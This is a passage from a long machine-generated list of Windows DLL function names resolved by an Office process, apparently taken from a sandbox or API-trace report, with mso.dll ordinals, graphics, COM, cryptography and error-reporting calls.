  3780. "mso.dll.#8926",
  3781. "mso.dll.#7212",
  3782. "mso.dll.#5407",
  3783. "mso.dll.#5152",
  3784. "mso.dll.#3327",
  3785. "mso.dll.#6333",
  3786. "mso.dll.#420",
  3787. "shell32.dll.SHAddToRecentDocs",
  3788. "shell32.dll.#21",
  3789. "mso.dll.#1335",
  3790. "mso.dll.#2041",
  3791. "mso.dll.#7834",
  3792. "mso.dll.#239",
  3793. "mso.dll.#6357",
  3794. "mso.dll.#7026",
  3795. "mso.dll.#1671",
  3796. "mso.dll.#8263",
  3797. "mso.dll.#9307",
  3798. "mso.dll.#1441",
  3799. "mso.dll.#9223",
  3800. "mso.dll.#6453",
  3801. "mso.dll.#3698",
  3802. "mso.dll.#8565",
  3803. "mso.dll.#8373",
  3804. "mso.dll.#9741",
  3805. "mso.dll.#478",
  3806. "mso.dll.#479",
  3807. "mso.dll.#340",
  3808. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  3809. "bcrypt.dll.BCryptGetProperty",
  3810. "bcrypt.dll.BCryptCreateHash",
  3811. "bcrypt.dll.BCryptHashData",
  3812. "bcrypt.dll.BCryptFinishHash",
  3813. "bcrypt.dll.BCryptDestroyHash",
  3814. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  3815. "mso.dll.#8633",
  3816. "mso.dll.#5213",
  3817. "mso.dll.#6163",
  3818. "mso.dll.#552",
  3819. "mso.dll.#5630",
  3820. "mso.dll.#2513",
  3821. "mso.dll.#1607",
  3822. "mso.dll.#791",
  3823. "mso.dll.#1848",
  3824. "mso.dll.#8735",
  3825. "mso.dll.#9374",
  3826. "ole32.dll.CoGetCallState",
  3827. "ole32.dll.CoGetActivationState",
  3828. "advapi32.dll.RegisterWaitChainCOMCallback",
  3829. "mso.dll.#5286",
  3830. "mso.dll.#6368",
  3831. "mso.dll.#4262",
  3832. "mso.dll.#1010",
  3833. "mso.dll.#7979",
  3834. "mso.dll.#8549",
  3835. "mso.dll.#8970",
  3836. "mso.dll.#9198",
  3837. "mso.dll.#4795",
  3838. "mso.dll.#1865",
  3839. "mso.dll.#9688",
  3840. "mso.dll.#320",
  3841. "advapi32.dll.RegDeleteKeyA",
  3842. "user32.dll.DestroyCursor",
  3843. "mso.dll.#7173",
  3844. "mso.dll.#8511",
  3845. "mso.dll.#3299",
  3846. "mso.dll.#7001",
  3847. "mso.dll.#8140",
  3848. "mso.dll.#3913",
  3849. "user32.dll.PeekMessageA",
  3850. "mso.dll.#1380",
  3851. "mso.dll.#9500",
  3852. "user32.dll.DispatchMessageA",
  3853. "mso.dll.#999",
  3854. "mso.dll.#287",
  3855. "mso.dll.#1575",
  3856. "user32.dll.OpenClipboard",
  3857. "user32.dll.IsClipboardFormatAvailable",
  3858. "user32.dll.CloseClipboard",
  3859. "mso.dll.#1517",
  3860. "mso.dll.#4708",
  3861. "mso.dll.#8046",
  3862. "mso.dll.#4175",
  3863. "mso.dll.#8672",
  3864. "mso.dll.#1990",
  3865. "mso.dll.#3051",
  3866. "mso.dll.#1819",
  3867. "mso.dll.#1419",
  3868. "oleaut32.dll.#147",
  3869. "gdi32.dll.GetCurrentObject",
  3870. "gdi32.dll.BitBlt",
  3871. "gdi32.dll.StretchDIBits",
  3872. "cryptnet.dll.CertDllVerifyRevocation",
  3873. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  3874. "user32.dll.RegisterClipboardFormatW",
  3875. "user32.dll.SetCaretBlinkTime",
  3876. "mso.dll._MsoGetFidUspDll@0",
  3877. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  3878. "usp10.dll.ScriptGetProperties",
  3879. "usp10.dll.ScriptItemize",
  3880. "uxtheme.dll.OpenThemeData",
  3881. "usp10.dll.ScriptGetCMap",
  3882. "user32.dll.HideCaret",
  3883. "user32.dll.ShowCaret",
  3884. "user32.dll.GetWindowTextLengthW",
  3885. "user32.dll.EnableWindow",
  3886. "msctf.dll.SetInputScope",
  3887. "user32.dll.GetWindowRgn",
  3888. "gdi32.dll.CreateCompatibleBitmap",
  3889. "gdi32.dll.SaveDC",
  3890. "gdi32.dll.SetPixel",
  3891. "gdi32.dll.GetPixel",
  3892. "gdi32.dll.RestoreDC",
  3893. "mso.dll.#806",
  3894. "mso.dll.#4908",
  3895. "mso.dll.#8439",
  3896. "mso.dll.#2736",
  3897. "gdi32.dll.GetTextAlign",
  3898. "mso.dll.#8122",
  3899. "mso.dll.#2114",
  3900. "mso.dll.#6558",
  3901. "gdi32.dll.GetFontData",
  3902. "usp10.dll.ScriptItemizeOpenType",
  3903. "usp10.dll.ScriptShapeOpenType",
  3904. "usp10.dll.ScriptPlaceOpenType",
  3905. "mso.dll.#6338",
  3906. "mso.dll.#1427",
  3907. "winmm.dll.timeGetTime",
  3908. "mso.dll.#5940",
  3909. "usp10.dll.ScriptPlace",
  3910. "usp10.dll.ScriptShape",
  3911. "usp10.dll.ScriptJustify",
  3912. "usp10.dll.ScriptTextOut",
  3913. "usp10.dll.ScriptCPtoX",
  3914. "usp10.dll.ScriptXtoCP",
  3915. "usp10.dll.ScriptFreeCache",
  3916. "usp10.dll.ScriptCacheGetHeight",
  3917. "usp10.dll.ScriptLayout",
  3918. "usp10.dll.ScriptBreak",
  3919. "usp10.dll.ScriptIsComplex",
  3920. "usp10.dll.ScriptGetLogicalWidths",
  3921. "usp10.dll.ScriptApplyLogicalWidth",
  3922. "usp10.dll.ScriptGetGlyphABCWidth",
  3923. "usp10.dll.ScriptGetFontProperties",
  3924. "usp10.dll.ScriptApplyDigitSubstitution",
  3925. "usp10.dll.ScriptRecordDigitSubstitution",
  3926. "usp10.dll.ScriptGetFontAlternateGlyphs",
  3927. "mso.dll.#7578",
  3928. "mso.dll.#2613",
  3929. "mso.dll.#7848",
  3930. "shlwapi.dll.StrStrIW",
  3931. "user32.dll.GetClassNameA",
  3932. "user32.dll.IsWindowRedirectedForPrint",
  3933. "gdi32.dll.CreateRectRgnIndirect",
  3934. "user32.dll.GetUpdateRgn",
  3935. "gdi32.dll.GetRgnBox",
  3936. "user32.dll.GetUpdateRect",
  3937. "mso.dll.#3624",
  3938. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  3939. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  3940. "gdi32.dll.TranslateCharsetInfo",
  3941. "mso.dll.#3300",
  3942. "mso.dll.#7465",
  3943. "mso.dll.#6247",
  3944. "advapi32.dll.RegDeleteTreeW",
  3945. "xmllite.dll.CreateXmlReader",
  3946. "gdi32.dll.SetWindowOrgEx",
  3947. "user32.dll.AttachThreadInput",
  3948. "user32.dll.UnregisterClassW",
  3949. "mso.dll.#732",
  3950. "mso.dll.#5804",
  3951. "mso.dll.#9465",
  3952. "mso.dll.#434",
  3953. "user32.dll.GetMessageExtraInfo",
  3954. "user32.dll.TrackMouseEvent",
  3955. "user32.dll.GetInputState",
  3956. "mso.dll.#8461",
  3957. "advapi32.dll.RegDeleteValueW",
  3958. "user32.dll.GetClipboardOwner",
  3959. "user32.dll.SendNotifyMessageW",
  3960. "user32.dll.GetScrollPos",
  3961. "mso.dll.#629",
  3962. "mso.dll.#1422",
  3963. "advapi32.dll.NotifyServiceStatusChangeW",
  3964. "user32.dll.MsgWaitForMultipleObjectsEx",
  3965. "winhttp.dll.WinHttpTimeFromSystemTime",
  3966. "cryptnet.dll.I_CryptNetGetConnectivity",
  3967. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  3968. "setupapi.dll.SetupIterateCabinetW",
  3969. "kernel32.dll.RegOpenKeyExW",
  3970. "kernel32.dll.RegCloseKey",
  3971. "cabinet.dll.#20",
  3972. "cabinet.dll.#22",
  3973. "devrtl.dll.DevRtlGetThreadLogToken",
  3974. "cryptsp.dll.CryptSetHashParam",
  3975. "sechost.dll.QueryServiceConfigA",
  3976. "rpcrt4.dll.RpcStringBindingComposeA",
  3977. "rpcrt4.dll.RpcBindingFromStringBindingA",
  3978. "rpcrt4.dll.RpcEpResolveBinding",
  3979. "rpcrt4.dll.RpcStringFreeA",
  3980. "webservices.dll.WsResetHeap",
  3981. "webservices.dll.WsCloseServiceProxy",
  3982. "ws2_32.dll.#3",
  3983. "ncrypt.dll.SslDecrementProviderReferenceCount",
  3984. "ncrypt.dll.SslFreeObject",
  3985. "webservices.dll.WsFreeServiceProxy",
  3986. "user32.dll.RegisterPowerSettingNotification",
  3987. "powrprof.dll.PowerSettingRegisterNotification",
  3988. "user32.dll.IsHungAppWindow",
  3989. "msi.dll.#111",
  3990. "ieawsdc.dll.HrExtractTemplateToPath",
  3991. "cryptsp.dll.CryptGenKey",
  3992. "crypt32.dll.CryptQueryObject",
  3993. "wintrust.dll.CryptSIPPutSignedDataMsg",
  3994. "wintrust.dll.CryptSIPGetSignedDataMsg",
  3995. "cryptsp.dll.CryptGetDefaultProviderW",
  3996. "crypt32.dll.CertEnumCertificatesInStore",
  3997. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  3998. "wintrust.dll.WintrustCertificateTrust",
  3999. "wintrust.dll.SoftpubAuthenticode",
  4000. "wintrust.dll.SoftpubInitialize",
  4001. "wintrust.dll.SoftpubLoadMessage",
  4002. "wintrust.dll.SoftpubLoadSignature",
  4003. "wintrust.dll.SoftpubCheckCert",
  4004. "wintrust.dll.SoftpubCleanup",
  4005. "wintrust.dll.CryptSIPVerifyIndirectData",
  4006. "advapi32.dll.CryptSetHashParam",
  4007. "advapi32.dll.SaferiSearchMatchingHashRules",
  4008. "wintrust.dll.WTHelperProvDataFromStateData",
  4009. "wintrust.dll.WTHelperGetProvSignerFromChain",
  4010. "crypt32.dll.CertCloseStore",
  4011. "msi.dll.#90",
  4012. "user32.dll.GetWindowDC",
  4013. "gdi32.dll.SetLayout",
  4014. "gdi32.dll.RectVisible",
  4015. "gdi32.dll.GetClipRgn",
  4016. "gdi32.dll.ExcludeClipRect",
  4017. "user32.dll.GetCapture",
  4018. "user32.dll.GetMessagePos",
  4019. "user32.dll.GetDesktopWindow",
  4020. "user32.dll.FindWindowExW",
  4021. "mso.dll.#8837",
  4022. "mso.dll.#4746",
  4023. "msi.dll.DllGetVersion",
  4024. "cabinet.dll.#23",
  4025. "mso.dll.#7531",
  4026. "mso.dll.#1725",
  4027. "mso.dll.#4314",
  4028. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  4029. "mso.dll.#6484",
  4030. "mso.dll.#1455",
  4031. "mso.dll.#5315",
  4032. "user32.dll.InSendMessage",
  4033. "user32.dll.FlashWindow",
  4034. "mso.dll.#5090",
  4035. "user32.dll.GetMessageA",
  4036. "mso.dll.#6422",
  4037. "user32.dll.WaitMessage",
  4038. "mso.dll.#9018",
  4039. "comctl32.dll.HIMAGELIST_QueryInterface",
  4040. "comctl32.dll.DrawShadowText",
  4041. "comctl32.dll.DrawSizeBox",
  4042. "comctl32.dll.DrawScrollBar",
  4043. "comctl32.dll.SizeBoxHwnd",
  4044. "comctl32.dll.ScrollBar_MouseMove",
  4045. "comctl32.dll.ScrollBar_Menu",
  4046. "comctl32.dll.HandleScrollCmd",
  4047. "comctl32.dll.DetachScrollBars",
  4048. "comctl32.dll.AttachScrollBars",
  4049. "comctl32.dll.CCGetScrollInfo",
  4050. "comctl32.dll.CCEnableScrollBar",
  4051. "comctl32.dll.QuerySystemGestureStatus",
  4052. "uxtheme.dll.#49",
  4053. "user32.dll.EnableScrollBar",
  4054. "user32.dll.ShowScrollBar",
  4055. "user32.dll.MoveWindow",
  4056. "gdi32.dll.GetViewportExtEx",
  4057. "gdi32.dll.GetWindowExtEx",
  4058. "gdi32.dll.GetTextCharset",
  4059. "gdi32.dll.GetMapMode",
  4060. "oleaut32.dll.SysAllocString",
  4061. "oleaut32.dll.SysStringLen",
  4062. "oleaut32.dll.SysAllocStringLen",
  4063. "uxtheme.dll.GetThemePartSize",
  4064. "user32.dll.GetMessageW",
  4065. "gdi32.dll.SetTextAlign",
  4066. "gdi32.dll.ExtSelectClipRgn",
  4067. "gdi32.dll.GetTextColor",
  4068. "wininet.dll.InternetGetConnectedState",
  4069. "osppcext.dll.SLActivateProduct",
  4070. "osppcext.dll.SLGetTokenActivationGrants",
  4071. "osppcext.dll.SLGetTokenActivationCertificates",
  4072. "osppcext.dll.SLGenerateTokenActivationChallenge",
  4073. "osppcext.dll.SLSignTokenActivationChallenge",
  4074. "osppcext.dll.SLDepositTokenActivationResponse",
  4075. "osppcext.dll.SLFreeTokenActivationGrants",
  4076. "osppcext.dll.SLFreeTokenActivationCertificates",
  4077. "mso.dll.#5034",
  4078. "mso.dll.#3544",
  4079. "mso.dll.#900",
  4080. "mso.dll.#8662",
  4081. "mso.dll.#1885",
  4082. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  4083. "mso.dll.#832",
  4084. "mso.dll.#7673",
  4085. "mso.dll.#709",
  4086. "mso.dll.#5913",
  4087. "mso.dll.#8051",
  4088. "mso.dll.#8656",
  4089. "mso.dll.#8071",
  4090. "mso.dll.#1966",
  4091. "user32.dll.UnhookWindowsHookEx",
  4092. "mso.dll.#8693",
  4093. "mso.dll.#4355",
  4094. "gdi32.dll.CombineRgn",
  4095. "user32.dll.CopyRect",
  4096. "gdi32.dll.SetStretchBltMode",
  4097. "user32.dll.UpdateLayeredWindow",
  4098. "mso.dll.#4702",
  4099. "user32.dll.RemovePropW",
  4100. "mso.dll.#3702",
  4101. "mso.dll.#3484",
  4102. "mso.dll.#6960",
  4103. "mso.dll.#8705",
  4104. "mso.dll.#7892",
  4105. "msi.dll.#39",
  4106. "mso.dll.#7931",
  4107. "mso.dll.#3837",
  4108. "mso.dll.#8574",
  4109. "mso.dll.#8398",
  4110. "mso.dll.#2477",
  4111. "msproof7.dll.DllGetClassObject",
  4112. "msproof7.dll.DllCanUnloadNow",
  4113. "mso.dll.#4172",
  4114. "mso.dll.#1439",
  4115. "mso.dll.#9566",
  4116. "mso.dll.#111",
  4117. "mso.dll.#4191",
  4118. "mso.dll.#3802",
  4119. "mso.dll.#6982",
  4120. "mso.dll.#8800",
  4121. "mso.dll.#3572",
  4122. "mso.dll.#167",
  4123. "mso.dll.#5737",
  4124. "mso.dll.#590",
  4125. "mso.dll.#3758",
  4126. "msgr3en.dll.CheckVersion",
  4127. "msgr3en.dll.#29",
  4128. "msgr3en.dll.#30",
  4129. "msgr3en.dll.#31",
  4130. "msgr3en.dll.#32",
  4131. "msgr3en.dll.#33",
  4132. "msgr3en.dll.#34",
  4133. "msgr3en.dll.#35",
  4134. "msgr3en.dll.#45",
  4135. "msgr3en.dll.#46",
  4136. "msgr3en.dll.#47",
  4137. "msgr3en.dll.#48",
  4138. "msgr3en.dll.#51",
  4139. "msgr3en.dll.#50",
  4140. "msgr3en.dll.#49",
  4141. "msgr3en.dll.#43",
  4142. "msgr3en.dll.#41",
  4143. "msgr3en.dll.#42",
  4144. "msgr3en.dll.#44",
  4145. "msgr3en.dll.#39",
  4146. "msgr3en.dll.#40",
  4147. "msgr3en.dll.#36",
  4148. "msgr3en.dll.#38",
  4149. "msgr3en.dll.#37",
  4150. "msgr3en.dll.#56",
  4151. "msgr3en.dll.#52",
  4152. "msgr3en.dll.#53",
  4153. "msgr3en.dll.#57",
  4154. "msgr3en.dll.#58",
  4155. "msgr3en.dll.#59",
  4156. "user32.dll.LoadStringA",
  4157. "mso.dll.#1266",
  4158. "gdi32.dll.GetStockObject",
  4159. "mso.dll.#6501",
  4160. "mso.dll.#511",
  4161. "mso.dll.#8118",
  4162. "gdi32.dll.GetGlyphIndicesW",
  4163. "mso.dll.#8060",
  4164. "mso.dll.#844",
  4165. "user32.dll.EnumThreadWindows",
  4166. "mso.dll.#6420",
  4167. "user32.dll.GetLastInputInfo",
  4168. "mso.dll.#8606",
  4169. "ws2_32.dll.#116",
  4170. "oleaut32.dll.#10",
  4171. "mso.dll.#8172",
  4172. "mso.dll.#1003",
  4173. "mso.dll.#1541",
  4174. "advapi32.dll.EventEnabled",
  4175. "ntdll.dll.ZwQueryInformationProcess",
  4176. "kernel32.dll.IsDebuggerPresent",
  4177. "osppobjs.dll.SppPluginInitialize",
  4178. "osppobjs.dll.SppPluginShutdown",
  4179. "osppobjs.dll.SppPluginCreateInstance",
  4180. "osppobjs.dll.SppPluginCanUnloadNow",
  4181. "sspicli.dll.GetUserNameExW",
  4182. "setupapi.dll.SetupDiEnumDeviceInfo",
  4183. "setupapi.dll.SetupDiGetDeviceRegistryPropertyW",
  4184. "kernel32.dll.GetSystemFirmwareTable",
  4185. "advapi32.dll.WmiCloseBlock",
  4186. "propsys.dll.PropVariantToVariant",
  4187. "ole32.dll.CoDisconnectObject",
  4188. "wbemcore.dll.Shutdown",
  4189. "advapi32.dll.RegDeleteKeyExW",
  4190. "kernel32.dll.RegDeleteValueW",
  4191. "tschannel.dll.DllGetClassObject",
  4192. "tschannel.dll.DllCanUnloadNow",
  4193. "wersvc.dll.ServiceMain",
  4194. "wersvc.dll.SvchostPushServiceGlobals",
  4195. "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
  4196. "faultrep.dll.WerpInitiateCrashReporting",
  4197. "wer.dll.WerpCreateMachineStore",
  4198. "shell32.dll.SHGetFolderPathEx",
  4199. "ole32.dll.StringFromGUID2",
  4200. "userenv.dll.CreateEnvironmentBlock",
  4201. "userenv.dll.DestroyEnvironmentBlock",
  4202. "wer.dll.WerpSvcReportFromMachineQueue",
  4203. "advapi32.dll.DuplicateToken",
  4204. "wtsapi32.dll.WTSQueryUserToken",
  4205. "winsta.dll.WinStationQueryInformationW",
  4206. "rpcrt4.dll.NdrClientCall3",
  4207. "advapi32.dll.ImpersonateLoggedOnUser",
  4208. "advapi32.dll.CreateProcessAsUserW",
  4209. "oleaut32.dll.OleLoadPictureEx",
  4210. "oleaut32.dll.DispCallFunc",
  4211. "oleaut32.dll.LoadTypeLibEx",
  4212. "oleaut32.dll.UnRegisterTypeLib",
  4213. "oleaut32.dll.CreateTypeLib2",
  4214. "oleaut32.dll.VarDateFromUdate",
  4215. "oleaut32.dll.VarUdateFromDate",
  4216. "oleaut32.dll.GetAltMonthNames",
  4217. "oleaut32.dll.VarNumFromParseNum",
  4218. "oleaut32.dll.VarParseNumFromStr",
  4219. "oleaut32.dll.VarDecFromR4",
  4220. "oleaut32.dll.VarDecFromR8",
  4221. "oleaut32.dll.VarDecFromDate",
  4222. "oleaut32.dll.VarDecFromI4",
  4223. "oleaut32.dll.VarDecFromCy",
  4224. "oleaut32.dll.VarR4FromDec",
  4225. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  4226. "oleaut32.dll.GetRecordInfoFromGuids",
  4227. "oleaut32.dll.SafeArrayGetRecordInfo",
  4228. "oleaut32.dll.SafeArraySetRecordInfo",
  4229. "oleaut32.dll.SafeArrayGetIID",
  4230. "oleaut32.dll.SafeArraySetIID",
  4231. "oleaut32.dll.SafeArrayCopyData",
  4232. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  4233. "oleaut32.dll.SafeArrayCreateEx",
  4234. "oleaut32.dll.VarFormat",
  4235. "oleaut32.dll.VarFormatDateTime",
  4236. "oleaut32.dll.VarFormatNumber",
  4237. "oleaut32.dll.VarFormatPercent",
  4238. "oleaut32.dll.VarFormatCurrency",
  4239. "oleaut32.dll.VarWeekdayName",
  4240. "oleaut32.dll.VarMonthName",
  4241. "oleaut32.dll.VarAdd",
  4242. "oleaut32.dll.VarAnd",
  4243. "oleaut32.dll.VarCat",
  4244. "oleaut32.dll.VarDiv",
  4245. "oleaut32.dll.VarEqv",
  4246. "oleaut32.dll.VarIdiv",
  4247. "oleaut32.dll.VarImp",
  4248. "oleaut32.dll.VarMod",
  4249. "oleaut32.dll.VarMul",
  4250. "oleaut32.dll.VarOr",
  4251. "oleaut32.dll.VarPow",
  4252. "oleaut32.dll.VarSub",
  4253. "oleaut32.dll.VarXor",
  4254. "oleaut32.dll.VarAbs",
  4255. "oleaut32.dll.VarFix",
  4256. "oleaut32.dll.VarInt",
  4257. "oleaut32.dll.VarNeg",
  4258. "oleaut32.dll.VarNot",
  4259. "oleaut32.dll.VarRound",
  4260. "oleaut32.dll.VarCmp",
  4261. "oleaut32.dll.VarDecAdd",
  4262. "oleaut32.dll.VarDecCmp",
  4263. "oleaut32.dll.VarBstrCat",
  4264. "oleaut32.dll.VarCyMulI4",
  4265. "oleaut32.dll.VarBstrCmp",
  4266. "ole32.dll.CoCreateInstanceEx",
  4267. "sxs.dll.SxsOleAut32MapIIDOrCLSIDToTypeLibrary",
  4268. "gdi32.dll.GetTextExtentExPointWPri",
  4269. "kernel32.dll.GetCalendarInfoW",
  4270. "kernel32.dll.GetTickCount",
  4271. "kernel32.dll.Sleep",
  4272. "kernel32.dll.SetLastError",
  4273. "shell32.dll.ShellExecuteW",
  4274. "kernel32.dll.TerminateProcess",
  4275. "kernel32.dll.VirtualProtectEx",
  4276. "kernel32.dll.CreateProcessInternalW",
  4277. "kernel32.dll.GetTempPathW",
  4278. "kernel32.dll.GetLongPathNameW",
  4279. "ntdll.dll.NtProtectVirtualMemory",
  4280. "kernel32.dll.GetCommandLineW",
  4281. "wer.dll.WerpCreateIntegratorReportId",
  4282. "wer.dll.WerReportCreate",
  4283. "wer.dll.WerpSetIntegratorReportId",
  4284. "wer.dll.WerReportSetParameter",
  4285. "dbgeng.dll.DebugCreate",
  4286. "ntdll.dll.CsrGetProcessId",
  4287. "ntdll.dll.DbgBreakPoint",
  4288. "ntdll.dll.DbgPrint",
  4289. "ntdll.dll.DbgPrompt",
  4290. "ntdll.dll.DbgUiConvertStateChangeStructure",
  4291. "ntdll.dll.DbgUiGetThreadDebugObject",
  4292. "ntdll.dll.DbgUiIssueRemoteBreakin",
  4293. "ntdll.dll.DbgUiSetThreadDebugObject",
  4294. "ntdll.dll.NtClose",
  4295. "ntdll.dll.NtCreateDebugObject",
  4296. "ntdll.dll.NtCreateFile",
  4297. "ntdll.dll.NtDebugActiveProcess",
  4298. "ntdll.dll.NtDebugContinue",
  4299. "ntdll.dll.NtOpenProcess",
  4300. "ntdll.dll.NtOpenThread",
  4301. "ntdll.dll.NtQueryInformationThread",
  4302. "ntdll.dll.NtQueryMutant",
  4303. "ntdll.dll.NtQueryObject",
  4304. "ntdll.dll.NtRemoveProcessDebug",
  4305. "ntdll.dll.NtResumeThread",
  4306. "ntdll.dll.NtSetInformationDebugObject",
  4307. "ntdll.dll.NtSetInformationProcess",
  4308. "ntdll.dll.NtSystemDebugControl",
  4309. "ntdll.dll.NtWaitForDebugEvent",
  4310. "ntdll.dll.RtlAnsiStringToUnicodeString",
  4311. "ntdll.dll.RtlCreateProcessParameters",
  4312. "ntdll.dll.RtlCreateUserProcess",
  4313. "ntdll.dll.RtlDestroyProcessParameters",
  4314. "ntdll.dll.RtlDosPathNameToNtPathName_U",
  4315. "ntdll.dll.RtlFindMessage",
  4316. "ntdll.dll.RtlFreeHeap",
  4317. "ntdll.dll.RtlFreeUnicodeString",
  4318. "ntdll.dll.RtlGetFunctionTableListHead",
  4319. "ntdll.dll.RtlGetUnloadEventTrace",
  4320. "ntdll.dll.RtlGetUnloadEventTraceEx",
  4321. "ntdll.dll.RtlInitAnsiString",
  4322. "ntdll.dll.RtlInitUnicodeString",
  4323. "ntdll.dll.RtlTryEnterCriticalSection",
  4324. "ntdll.dll.RtlUnicodeStringToAnsiString",
  4325. "ntdll.dll.NtOpenProcessToken",
  4326. "ntdll.dll.NtOpenThreadToken",
  4327. "ntdll.dll.NtQueryInformationToken",
  4328. "kernel32.dll.CloseProfileUserMapping",
  4329. "kernel32.dll.CreateToolhelp32Snapshot",
  4330. "kernel32.dll.DebugActiveProcessStop",
  4331. "kernel32.dll.DebugBreak",
  4332. "kernel32.dll.DebugBreakProcess",
  4333. "kernel32.dll.DebugSetProcessKillOnExit",
  4334. "kernel32.dll.Module32First",
  4335. "kernel32.dll.Module32FirstW",
  4336. "kernel32.dll.Module32Next",
  4337. "kernel32.dll.Module32NextW",
  4338. "kernel32.dll.OpenThread",
  4339. "kernel32.dll.Process32First",
  4340. "kernel32.dll.Process32FirstW",
  4341. "kernel32.dll.Process32Next",
  4342. "kernel32.dll.Process32NextW",
  4343. "kernel32.dll.ProcessIdToSessionId",
  4344. "kernel32.dll.SetProcessShutdownParameters",
  4345. "kernel32.dll.Thread32First",
  4346. "kernel32.dll.Thread32Next",
  4347. "kernel32.dll.GetTimeZoneInformation",
  4348. "kernel32.dll.Wow64GetThreadSelectorEntry",
  4349. "advapi32.dll.CloseServiceHandle",
  4350. "advapi32.dll.ControlService",
  4351. "advapi32.dll.CreateServiceA",
  4352. "advapi32.dll.CreateServiceW",
  4353. "advapi32.dll.DeleteService",
  4354. "advapi32.dll.EnumServicesStatusExA",
  4355. "advapi32.dll.EnumServicesStatusExW",
  4356. "advapi32.dll.GetEventLogInformation",
  4357. "advapi32.dll.OpenSCManagerA",
  4358. "advapi32.dll.OpenSCManagerW",
  4359. "advapi32.dll.OpenServiceA",
  4360. "advapi32.dll.OpenServiceW",
  4361. "advapi32.dll.StartServiceA",
  4362. "advapi32.dll.StartServiceW",
  4363. "advapi32.dll.GetSidSubAuthority",
  4364. "advapi32.dll.GetSidSubAuthorityCount",
  4365. "version.dll.GetFileVersionInfoSizeExW",
  4366. "version.dll.GetFileVersionInfoExW",
  4367. "dbghelp.dll.WinDbgExtensionDllInit",
  4368. "dbghelp.dll.ExtensionApiVersion",
  4369. "wer.dll.WerpSetDynamicParameter",
  4370. "wer.dll.WerReportAddDump",
  4371. "wer.dll.WerpSetCallBack",
  4372. "wer.dll.WerReportSetUIOption",
  4373. "wer.dll.WerpAddRegisteredDataToReport",
  4374. "wer.dll.WerReportSubmit",
  4375. "wer.dll.WerpAddAppCompatData",
  4376. "apphelp.dll.SdbGetFileAttributes",
  4377. "apphelp.dll.SdbFormatAttribute",
  4378. "apphelp.dll.SdbFreeFileAttributes",
  4379. "dbghelp.dll.MiniDumpWriteDump",
  4380. "kernel32.dll.GetLongPathNameA",
  4381. "powrprof.dll.CallNtPowerInformation",
  4382. "verifier.dll.VerifierEnumerateResource",
  4383. "ntdll.dll.NtSuspendProcess",
  4384. "ntdll.dll.NtResumeProcess",
  4385. "advapi32.dll.QueryTraceW",
  4386. "advapi32.dll.AddAccessAllowedAceEx",
  4387. "wer.dll.WerpGetStoreLocation",
  4388. "wer.dll.WerpGetStoreType",
  4389. "wer.dll.WerReportCloseHandle",
  4390. "wer.dll.WerpFreeString",
  4391. "ole32.dll.CoInitializeSecurity",
  4392. "w32time.dll.SvchostEntry_W32Time",
  4393. "w32time.dll.SvchostPushServiceGlobals",
  4394. "ws2_32.dll.#111",
  4395. "dsrole.dll.DsRoleGetPrimaryDomainInformation",
  4396. "dsrole.dll.DsRoleFreeMemory",
  4397. "sspicli.dll.LsaRegisterPolicyChangeNotification",
  4398. "w32time.dll.TimeProvClose",
  4399. "w32time.dll.TimeProvCommand",
  4400. "w32time.dll.TimeProvOpen",
  4401. "ws2_32.dll.#23",
  4402. "vmictimeprovider.dll.TimeProvClose",
  4403. "vmictimeprovider.dll.TimeProvCommand",
  4404. "vmictimeprovider.dll.TimeProvOpen",
  4405. "ws2_32.dll.WSAAddressToStringW",
  4406. "sspicli.dll.LsaUnregisterPolicyChangeNotification",
  4407. "userenv.dll.UnregisterGPNotification",
  4408. "gpapi.dll.UnregisterGPNotificationInternal",
  4409. "user32.dll.GetThreadDesktop",
  4410. "werui.dll.WerUICreate",
  4411. "werui.dll.WerUIStart",
  4412. "werui.dll.WerUITerminate",
  4413. "werui.dll.WerUIDelete",
  4414. "wmisvc.dll.ServiceMain",
  4415. "sechost.dll.RegisterServiceCtrlHandlerExW",
  4416. "sechost.dll.SetServiceStatus",
  4417. "advapi32.dll.WmiOpenBlock",
  4418. "vssapi.dll.CreateWriter",
  4419. "advapi32.dll.LookupAccountNameW",
  4420. "samcli.dll.NetLocalGroupGetMembers",
  4421. "samlib.dll.SamConnect",
  4422. "samlib.dll.SamOpenDomain",
  4423. "samlib.dll.SamLookupNamesInDomain",
  4424. "samlib.dll.SamOpenAlias",
  4425. "samlib.dll.SamFreeMemory",
  4426. "samlib.dll.SamCloseHandle",
  4427. "samlib.dll.SamGetMembersInAlias",
  4428. "ole32.dll.StringFromCLSID",
  4429. "propsys.dll.VariantToPropVariant",
  4430. "authz.dll.AuthzInitializeContextFromToken",
  4431. "authz.dll.AuthzInitializeObjectAccessAuditEvent2",
  4432. "authz.dll.AuthzAccessCheck",
  4433. "authz.dll.AuthzFreeAuditEvent",
  4434. "authz.dll.AuthzFreeContext",
  4435. "authz.dll.AuthzInitializeResourceManager",
  4436. "authz.dll.AuthzFreeResourceManager",
  4437. "rpcrt4.dll.RpcBindingCreateW",
  4438. "rpcrt4.dll.RpcBindingBind",
  4439. "rpcrt4.dll.I_RpcMapWin32Status",
  4440. "kernel32.dll.RegSetValueExW",
  4441. "kernel32.dll.RegQueryValueExW",
  4442. "wmisvc.dll.IsImproperShutdownDetected",
  4443. "wevtapi.dll.EvtRender",
  4444. "wevtapi.dll.EvtNext",
  4445. "wevtapi.dll.EvtClose",
  4446. "wevtapi.dll.EvtQuery",
  4447. "wevtapi.dll.EvtCreateRenderContext",
  4448. "rpcrt4.dll.RpcBindingSetOption",
  4449. "ole32.dll.CoCreateFreeThreadedMarshaler",
  4450. "ole32.dll.CreateStreamOnHGlobal",
  4451. "kernelbase.dll.InitializeAcl",
  4452. "kernelbase.dll.AddAce",
  4453. "kernel32.dll.IsThreadAFiber",
